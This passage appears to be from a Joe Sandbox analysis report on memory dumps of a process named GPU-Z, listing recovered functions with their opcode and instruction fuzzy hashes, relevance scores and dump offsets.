Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9831c016b5e4d73a961031f2e9aeb9477aa7bb2b73ffa352a91e73014b844eb
Instruction ID: 727d79708a711ce3db6c2a8034f871bca345f93d5fd22e32a721ee34c93f57f2
Opcode Fuzzy Hash: b9831c016b5e4d73a961031f2e9aeb9477aa7bb2b73ffa352a91e73014b844eb
Instruction Fuzzy Hash: 79F11370A183508FC706BB78D89865C7FB1EF8A314F4149A9D485EB392DE3C9C4AC762

Function 08A9DB08 Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e971dfda634535f46c001678b0f8d392467c16a15ac32f8926a2f1bae9de100
Instruction ID: 1e54ae82a548d9218088c09096dc56e6b7166717a7d538fb9302d4dec3b5a9c0
Opcode Fuzzy Hash: 2e971dfda634535f46c001678b0f8d392467c16a15ac32f8926a2f1bae9de100
Instruction Fuzzy Hash: 75024AB0E14218DBCB14EB78D48929DBBF2FB88305F404969E44AE7341EF789C969F51

Function 08A9DB07 Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d300021e7b2b3f5b14720c21dd171c64549631b1f1c10f5a67b54a923ca29151
Instruction ID: 486eaae03f9ee8e4b101a9cccf9c6e62f3d8f4ae61d51fce99dfa597f36e4443
Opcode Fuzzy Hash: d300021e7b2b3f5b14720c21dd171c64549631b1f1c10f5a67b54a923ca29151
Instruction Fuzzy Hash: 12024AB0E14218DBCB14EB78D48929DBBF2FB88305F404969E44AE7341EF789C569F51

Function 08A9BD60 Relevance: .4, Instructions: 425COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d927c7cd0cc37085106dc3bc3dffdcedeb447e538c787cabdb43662e586055b
Instruction ID: 9683f63c06b29f2f27c2c5247bed9af16567c1da8383bf1e162060b560153687
Opcode Fuzzy Hash: 1d927c7cd0cc37085106dc3bc3dffdcedeb447e538c787cabdb43662e586055b
Instruction Fuzzy Hash: 24E1BD70A14615CBC714FBB8E58962EBBF6EF88714F804928E449E7341DE3CAC46C792

Function 0678A883 Relevance: .4, Instructions: 410COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dacf76b4cdc1ac1b779f7ec91e59343cc7ce1d4ed8791f6df1e6294ea76c13e
Instruction ID: 0ff71e5c32fc6bd9309a5f51688a0f0a31d566d4af2b04ec437ac14f81ee6b22
Opcode Fuzzy Hash: 6dacf76b4cdc1ac1b779f7ec91e59343cc7ce1d4ed8791f6df1e6294ea76c13e
Instruction Fuzzy Hash: E3020A30A40205DFCB48EF68D498AAD7BF2BF89314F5585A9E409DB365DB34EC86CB50

Function 08A9CA98 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fc7225c991f810ff54c68581011bb208488245555b8752c6321db8bfab73045
Instruction ID: b8efa1e202c0e0d9df48417fa992d88ae9d4ec750657b96268f50984bce0b3c7
Opcode Fuzzy Hash: 6fc7225c991f810ff54c68581011bb208488245555b8752c6321db8bfab73045
Instruction Fuzzy Hash: 93D18F70A18211CFC718FF79E99961D7BE2EF88704F41496CE489A7251DE389C4BCB92

Function 08A9BD5D Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da9a03f93d71261d146bf98c8a6e796dc566b6901f8be729f39b1e0c58ace921
Instruction ID: 640f2e2d7f0a7e3035ff54b7ba66c62703a54a7a9756ddf6e5c83b4afa002ed2
Opcode Fuzzy Hash: da9a03f93d71261d146bf98c8a6e796dc566b6901f8be729f39b1e0c58ace921
Instruction Fuzzy Hash: 7BB1B070A14615CBC714FBB8E58962EBBE6EF88714F804928E449E7351DE3CAC46C792

Function 031BC58C Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 949c9e331b05597fb28f399f8beca5e5686e1d7cf9804712e934ed6784646cd9
Instruction ID: ff94109928d732208a2ad9bc337f7c32fb642a91fe4235ad56187e719d4c2735
Opcode Fuzzy Hash: 949c9e331b05597fb28f399f8beca5e5686e1d7cf9804712e934ed6784646cd9
Instruction Fuzzy Hash: A8A18630A10605CFCB14EF68C88499DBBB5FF89310F5586A9E905AF365EB71ED85CB80

Function 06780040 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71574c1d2038b132f212454bbd0f1ddda54d6c9729a7e3450e734e1b9bb6f1d
Instruction ID: df89c936121fdceaa370ffa80612951a504ed2e78d0600fbf05225473033a16e
Opcode Fuzzy Hash: c71574c1d2038b132f212454bbd0f1ddda54d6c9729a7e3450e734e1b9bb6f1d
Instruction Fuzzy Hash: 5781F3357506108FCB54EF28D598A697BF6FF89B04B2581A9E902CB371DB75EC06CB80

Function 0678FAD0 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d00f6fb71c654c0481f4181bbb68ce82a3bafd1fab8a49a6e9bda3ecacf843ed
Instruction ID: 4efcb6e04ce0dcd01dac21b1f8f12e81753923a2644efd9c560f97a9f174735e
Opcode Fuzzy Hash: d00f6fb71c654c0481f4181bbb68ce82a3bafd1fab8a49a6e9bda3ecacf843ed
Instruction Fuzzy Hash: 2C819F70E402058FDBA4EF69C8447BAB7B2FF84394F14C62AD91597291D738ED81CB91

Function 0678C8E4 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90ea95b937de62490eb8beecadfa59199c9a40fe0cf92427dc557bf78fd7c1d3
Instruction ID: a77bce73fb358b45f57ad03d80ee6ceb0e9410fbd2e283d0eacda7d33c78a24e
Opcode Fuzzy Hash: 90ea95b937de62490eb8beecadfa59199c9a40fe0cf92427dc557bf78fd7c1d3
Instruction Fuzzy Hash: C871F530680605CFCB55EF28C898E697BF5BF89314F1585A9D54ACB276DB30EC49CB60

Function 08A9F228 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52d9426db08c2f0fd031b22283a05fe8458c2347c5070182e13abe32cf3b180f
Instruction ID: 81777de2ced132774e42741ac4b69cb6660b1c85c016d7635aabb3b2565d1312
Opcode Fuzzy Hash: 52d9426db08c2f0fd031b22283a05fe8458c2347c5070182e13abe32cf3b180f
Instruction Fuzzy Hash: 8E517F717182118FC704FB79E98961EBBE6EBC8614F44892DE488E3254EE389C468797

Function 06787E08 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05704ab69284012240a182703100e88b41253e2270b6e31f6a141cfb0032794b
Instruction ID: 02c61fb99446f334aeb64a0e0ff879808778d3e30c162d7f08e13e85a3e4c346
Opcode Fuzzy Hash: 05704ab69284012240a182703100e88b41253e2270b6e31f6a141cfb0032794b
Instruction Fuzzy Hash: 2C51F2317002048FC718EB78D494AAE7BEAEF89300F1444AAD51ADB3A1CB75DD45CB91

Function 0678A6C0 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf5196c10a42e4e6a35239017502a1bae0a7837affb7c2680da3fac967e56d90
Instruction ID: be02dcb363739f3abee20ba0ef9bc88fae15d46bf76f9d873fa437b5ef14e54f
Opcode Fuzzy Hash: bf5196c10a42e4e6a35239017502a1bae0a7837affb7c2680da3fac967e56d90
Instruction Fuzzy Hash: 8641E5317447008FC799EF39D85461EBBE2AF86300B2445AED556CB392EE35DD0AC752

Function 08A9F7F0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9729d69c471e90384d239e414d9c888a1846a5f619cefffa633d2ca7b877cca6
Instruction ID: 5b1eabfd6346c6e8023e35df3f64802c34541f8118f1b5930b691ec5eb076e7b
Opcode Fuzzy Hash: 9729d69c471e90384d239e414d9c888a1846a5f619cefffa633d2ca7b877cca6
Instruction Fuzzy Hash: 715106B4E01219DFDB44DFA9D9406EEBBF6FF88300F14842AE515E7354DA349906CBA1

Function 0678A02C Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c62e769bbae9b0d0cbf6721b65c63af687f085e4b1408b07af14462b90980bb
Instruction ID: 9e93f8e6fb9bf5d01ea7d85f5c14392d737f1dd70aef7797cc262957b813ac57
Opcode Fuzzy Hash: 0c62e769bbae9b0d0cbf6721b65c63af687f085e4b1408b07af14462b90980bb
Instruction Fuzzy Hash: 22416530780601DFDBA4BB28C894B7AB7B6FF85710F108569D1568B3A4CB75EC46CB91

Function 0678BA68 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f15add9d2afb31a9bbeca28787e7e6b16d6376593c22384c2baf1c21bc0f560
Instruction ID: 877e1d5ee2ebca5e8f21cf84c41611f9271921bb65f10ec4ca540ce4f24f2c5a
Opcode Fuzzy Hash: 4f15add9d2afb31a9bbeca28787e7e6b16d6376593c22384c2baf1c21bc0f560
Instruction Fuzzy Hash: 6641B630780601CFDBA4BF28C898B7AB7B6BF85710F108569D2558B3A4CB71EC46CB91

Function 08A9F800 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0085947288a54435bd80315b0fa40480ac72a6a86dc87211a542d2e1f510889
Instruction ID: 48b52671ccf2760d5677ef72f617c26209bc1b17d34495be3231fe873a2f13b2
Opcode Fuzzy Hash: e0085947288a54435bd80315b0fa40480ac72a6a86dc87211a542d2e1f510889
Instruction Fuzzy Hash: B84103B4E00219DFDB44DFA9D8406AEBBF6FF88300F14842AE519E7354DA3499028BA1

Function 08A91F29 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b698bd68a890a4a855eec5d070ec7df712306cf2e10649042fc047f1c163860
Instruction ID: 63601f7c19817dd1ad2451637073384f862c8f4802a82a724ca12d6fef396ae6
Opcode Fuzzy Hash: 7b698bd68a890a4a855eec5d070ec7df712306cf2e10649042fc047f1c163860
Instruction Fuzzy Hash: C3415C31A007099BCF14DFA9C44479EB7F1BF88310F14C669E859BB664EB74A981CB91

Function 0678E1C0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b575906a80736b2c1bf9a64d44c275763444acc2597589a7fc946237cf4ebf8
Instruction ID: c081fb8ec9e562bc73201bcccde0637fad9f8938e3fb76a3f3e6acab254d2ff0
Opcode Fuzzy Hash: 9b575906a80736b2c1bf9a64d44c275763444acc2597589a7fc946237cf4ebf8
Instruction Fuzzy Hash: 53418E71700A118FCB95EB38D45862EBBF6BF89210700456DE51AC73A1DF38DD42CB91

Function 06780007 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b87c4ad7156ba7f17951362449412051dd7dc51c8b1d43e52fc491c705d3ec3
Instruction ID: 0343b697db73c4b0343a33c1e9a2c4802512a0d597027fc61b33fad383efe202
Opcode Fuzzy Hash: 0b87c4ad7156ba7f17951362449412051dd7dc51c8b1d43e52fc491c705d3ec3
Instruction Fuzzy Hash: 403170357156408FCB06DB78C8589A97FF5EF8A610B0901EAE401CB3B2DB75EC05CB91

Function 08A91910 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac527ecec331ddab029e33fa1b67744541fba1734417c982bd081c47f08b4038
Instruction ID: 922c9c913c8b2b20e9d13f491243398163c89304efd147931ae8ef4387bb2bdb
Opcode Fuzzy Hash: ac527ecec331ddab029e33fa1b67744541fba1734417c982bd081c47f08b4038
Instruction Fuzzy Hash: 864142B0D0434A8FCF10DFA9C948AAEBFF5BF89310F108469D459A7650DB38A905CBA1

Function 031BFD18 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1479711fd6986b98a1218a8b405e53c1efeca2be0db4a0f56c9fb1119387ed71
Instruction ID: f4f4d586e7ab6932f2824d5ab796dabf3be136fc4bf03ba75e93d8ead8eec610
Opcode Fuzzy Hash: 1479711fd6986b98a1218a8b405e53c1efeca2be0db4a0f56c9fb1119387ed71
Instruction Fuzzy Hash: 0F31E3747041059FEB10EF69EC487FABBB6EB8E359F148069E905DB285CB70C942C7A1

Function 0678E1D0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23402083a50a931b3e0740bddc5b9ec0f6f86c7e6563ee9854c0bcd50dea6b7d
Instruction ID: 78b6863230455100be842d8b3e5cc854ad0a1883a457e23e7aeadbef592822ba
Opcode Fuzzy Hash: 23402083a50a931b3e0740bddc5b9ec0f6f86c7e6563ee9854c0bcd50dea6b7d
Instruction Fuzzy Hash: AF316F71700A118FCB95EB38D458A2E7BE6BF89620B14452DE51AC73A1DF34ED42CB91

Function 0678C840 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d722e7e60be396022f78b0f400c2eb34c3e2b2d566a90152369eebb23773c648
Instruction ID: a6e0f050b9d4cfecfef77c5e0c0836d0fae1eb8fc2fed3bb459fad2d62cfcef9
Opcode Fuzzy Hash: d722e7e60be396022f78b0f400c2eb34c3e2b2d566a90152369eebb23773c648
Instruction Fuzzy Hash: F13108357806018FD795EB29C884B6A77E6EF84710F1584A9E51ACB361DF34EC06CBA0

Function 0678CCF8 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfccb797ec32e0005438b90ba366e8a5bfc995c5a4dc9b0a7d713af212e92bff
Instruction ID: 5bcb5988da7282d8510d9b0de73f7ac4f58878e97c2b03af135f8b9834ca5a9f
Opcode Fuzzy Hash: bfccb797ec32e0005438b90ba366e8a5bfc995c5a4dc9b0a7d713af212e92bff
Instruction Fuzzy Hash: 8A3159357806008FC795EB28D944FA977E6AF89611F1584AAE54ACB371DB30EC06CBA0

Function 031BA468 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20673d6a111c24dcf15dcd8836051d4c60505c4e41c5248df2141716619558e4
Instruction ID: 95fda272e3ddfcb8044c77e380cb7e3e78ce33e83823d90d021c3be913b9c49a
Opcode Fuzzy Hash: 20673d6a111c24dcf15dcd8836051d4c60505c4e41c5248df2141716619558e4
Instruction Fuzzy Hash: 1321A0767002214BC719EA6C98585BEBBBBEFCD66071D446ADA06CB351EF31CC029391

Function 031B5910 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77c8fa3916638099342f10ecb68182142ef0f4a970282ee9f6dd01efe8cf6c88
Instruction ID: 2d17a3c532f5898a594d8d37391184bebecbb1d79d74b4bd9c44cba920a324f1
Opcode Fuzzy Hash: 77c8fa3916638099342f10ecb68182142ef0f4a970282ee9f6dd01efe8cf6c88
Instruction Fuzzy Hash: 3C316D3160020A9FCB05EF68D484AAE7B77FB99711F448029FA059B350CB75CE55DB91

Function 031B9150 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 418cbc2c8b74f45218f20b9471dbf7c0ad03e5e7d7324805487050e0903e6db1
Instruction ID: 2bdb4581fcea1ab482cd108a8fe7ef951a69bd9200578fabdf0aa040eefafe7f
Opcode Fuzzy Hash: 418cbc2c8b74f45218f20b9471dbf7c0ad03e5e7d7324805487050e0903e6db1
Instruction Fuzzy Hash: 1421C730B442024BCB19D7699898ABD77BE9FCD61470C80F9E746CB3A5EB24C843E391

Function 031B9F9F Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703fa30a503208193e9eea7abdf59365393a560414c955bd8699ad011f9f9c2b
Instruction ID: b455aa29d19c46ed15e40bdd7f65a290f8cb5d159e0c66c372ed208a4090ed0b
Opcode Fuzzy Hash: 703fa30a503208193e9eea7abdf59365393a560414c955bd8699ad011f9f9c2b
Instruction Fuzzy Hash: 32313075E002069FCB04CF6CC894AAEBBB6FF89720B158159E515DB3A1CB35DC15CB91

Function 0678EB78 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c32aa7fee21877460c2bd2519f2bb547f1c350cb4c177e22b29f033aeda0f248
Instruction ID: 1d1fdc321202d13dd038183658f4fe3537f696f8e9260e88551ec339e2524d3d
Opcode Fuzzy Hash: c32aa7fee21877460c2bd2519f2bb547f1c350cb4c177e22b29f033aeda0f248
Instruction Fuzzy Hash: F641F234640504CFCB54DF28D988EA97BF5BF89319F2185A9E54A8B236DB30EC49CB60

Function 08A929EC Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8518c48737bfd53f7254253eb526caff41492cd54d68a2fdf8589ab121c50951
Instruction ID: 942820f2485e9e7e70f36fea42c63d43e410560364d922b85580f9207ea00bc6
Opcode Fuzzy Hash: 8518c48737bfd53f7254253eb526caff41492cd54d68a2fdf8589ab121c50951
Instruction Fuzzy Hash: 4021FF2155E7C21FC70387794C245A8BFB1AEA702475E52DBC1EACB9E3C64C489BC366

Function 031B9160 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28ba1702c04cbb3fcf6799aed0c71ec4734fbff2dc6e7711bc80fa9f2df64c46
Instruction ID: 760212c9a7f826699ec9835fe4e457b9c39e99d36e17f7ee86fff286a93ad7c8
Opcode Fuzzy Hash: 28ba1702c04cbb3fcf6799aed0c71ec4734fbff2dc6e7711bc80fa9f2df64c46
Instruction Fuzzy Hash: 7C21B6307442014BDB189769D8987BA76BFAFCC618F1880B9D646CB3A4EF25CC43E781

Function 08A9BBEB Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04a35ee67406b29f5c82de0b21d124ce223067dabcffac1c5b01560dfd0a2988
Instruction ID: 6efe03cddbbc478b4ab4f7dc769be1cd8b4d0f8bad8ed1afc7d05b9fd2f9a7e6
Opcode Fuzzy Hash: 04a35ee67406b29f5c82de0b21d124ce223067dabcffac1c5b01560dfd0a2988
Instruction Fuzzy Hash: A73103706183548FD752EB74E8986193FB5EF8A314F0544ADE488DB2A2CE3D9C06D763

Function 0678D5E0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22481fdbeee8355c39f937f97207d568851bded6d6fbe298b85bef956d15c1ce
Instruction ID: 965289bc7ac485d8b575e9a00a5629b930e5c0b5912d295eee17b06b3b7ece76
Opcode Fuzzy Hash: 22481fdbeee8355c39f937f97207d568851bded6d6fbe298b85bef956d15c1ce
Instruction Fuzzy Hash: F221C271B8110D4F5BA53679A96813E3EAF9FC42A47044429D90AC73D4FE38CC02C3D6

Function 0678A6B0 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eff50b953925c724f07b43d2a7e1da12fb15bffc911153487c925afab63771ee
Instruction ID: 58574e28232ae921d87e24abe9b6c731db99bf4fb2e1f976e3f7baa7e916fbf2
Opcode Fuzzy Hash: eff50b953925c724f07b43d2a7e1da12fb15bffc911153487c925afab63771ee
Instruction Fuzzy Hash: 0321AD747406008FC7A8EF39D99096AB7F6BF89204720857ED656CB3A5DB31EC06CB61

Function 031BBB24 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd0a17a32757ae995eb72eb546c7596399dcf0fe3e935aa9b8573be0b8107e8
Instruction ID: 380e58e49d9cbcb8840171f5312e815a57a339059d217f124a12ca516f882ecc
Opcode Fuzzy Hash: 5dd0a17a32757ae995eb72eb546c7596399dcf0fe3e935aa9b8573be0b8107e8
Instruction Fuzzy Hash: FE212972E081159FD714DE7A89453EA7BB9FF8C720F1A8466E802DB658DB74CC4283D0

Function 031B9FB0 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7af8280a44e8f6728e480a5aa2834e379a44dcb0042bb55ce9702d6a10cfee1
Instruction ID: f4e6d132831cdab71e70cad195a88a23ec0ca6cf98bcc98f929d6c2faa933567
